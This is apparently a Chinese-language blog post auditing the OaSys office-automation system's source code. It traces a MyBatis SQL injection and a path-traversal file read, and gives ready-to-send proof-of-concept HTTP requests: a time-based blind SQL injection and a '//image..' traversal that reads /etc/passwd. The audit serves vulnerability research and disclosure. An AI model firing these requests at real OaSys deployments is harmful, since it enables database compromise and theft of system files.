当前位置:首页>java>OaSys代码审计

OaSys代码审计

  • 2026-08-25 14:07:23
OaSys代码审计

    oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于sprin-boot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。

项目地址

https://github.com/misstt123/oasys

SQL注入漏洞

由于使用的是mybatis,通过${查询是否有SQL语句使用了拼接字符。

可以看到notice-mapper.xml,第27行对baseKey使用了拼接符号。

通过使用Free MyBatis Tool插件进行逆向追踪,直接跳转到NoticeMapper接口下的sortMyNotice方法。

跟踪方法,具体实现方法为src/main/java/cn/gson/oasys/controller/inform/InformController.java的第80行,第69行为获取请求参数baseKey。

注入POC

GET /informlistpaging?baseKey=1'+AND+(SELECT+1596+FROM+(SELECT(SLEEP(5)))dMwG)+AND+'AUut'%3d'AUut HTTP/1.1Host: 192.168.1.3:8088User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: closeReferer: http://192.168.1.3:8088/indexCookie: JSESSIONID=975FC48812CC93ED2EFC6CF84B2EF52EUpgrade-Insecure-Requests: 1Priority: u=4

其他注入接口

参数值为*表示存在注入

http://192.168.1.3:8088/outaddresspaging?baseKey=*&alph=*&outtype=*

任意文件读取

通过筛选关键字FileInputStream,src/main/java/cn/gson/oasys/controller/user/UserpanelController.java第236-261行,@RequestMapping("image/**")匹配image后所有任意路径,第243行将/image替换为空,然后在获取系统文件。

通过断点可以看到:

  1. 获取用户请求路径;
  2. 第243行将url中/image替换为空;
  3. 固定根路径rootpath为/xxx/xxx/Desktop/oasys-master/static/image;
  4. 第245行直接将rootpath和path拼接,最后获取文件;

由于直接拼接,可以通过../方式读取文件,直接../会保存400,无法进入到路由中,可以通过//image../的方式进行文件读取

GET /image//image..//image..//image..//image..//image..//image..//image..//image..//image..//image../etc/passwd HTTP/1.1Host: 192.168.80.231:8088Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: JSESSIONID=105DAD13F4C78132698C225F9E9B4560

其他接口

通过FileInputStream查找,src/main/java/cn/gson/oasys/controller/process/ProcedureController.java第938行-957行也存在相同的漏洞。

最新文章

随机文章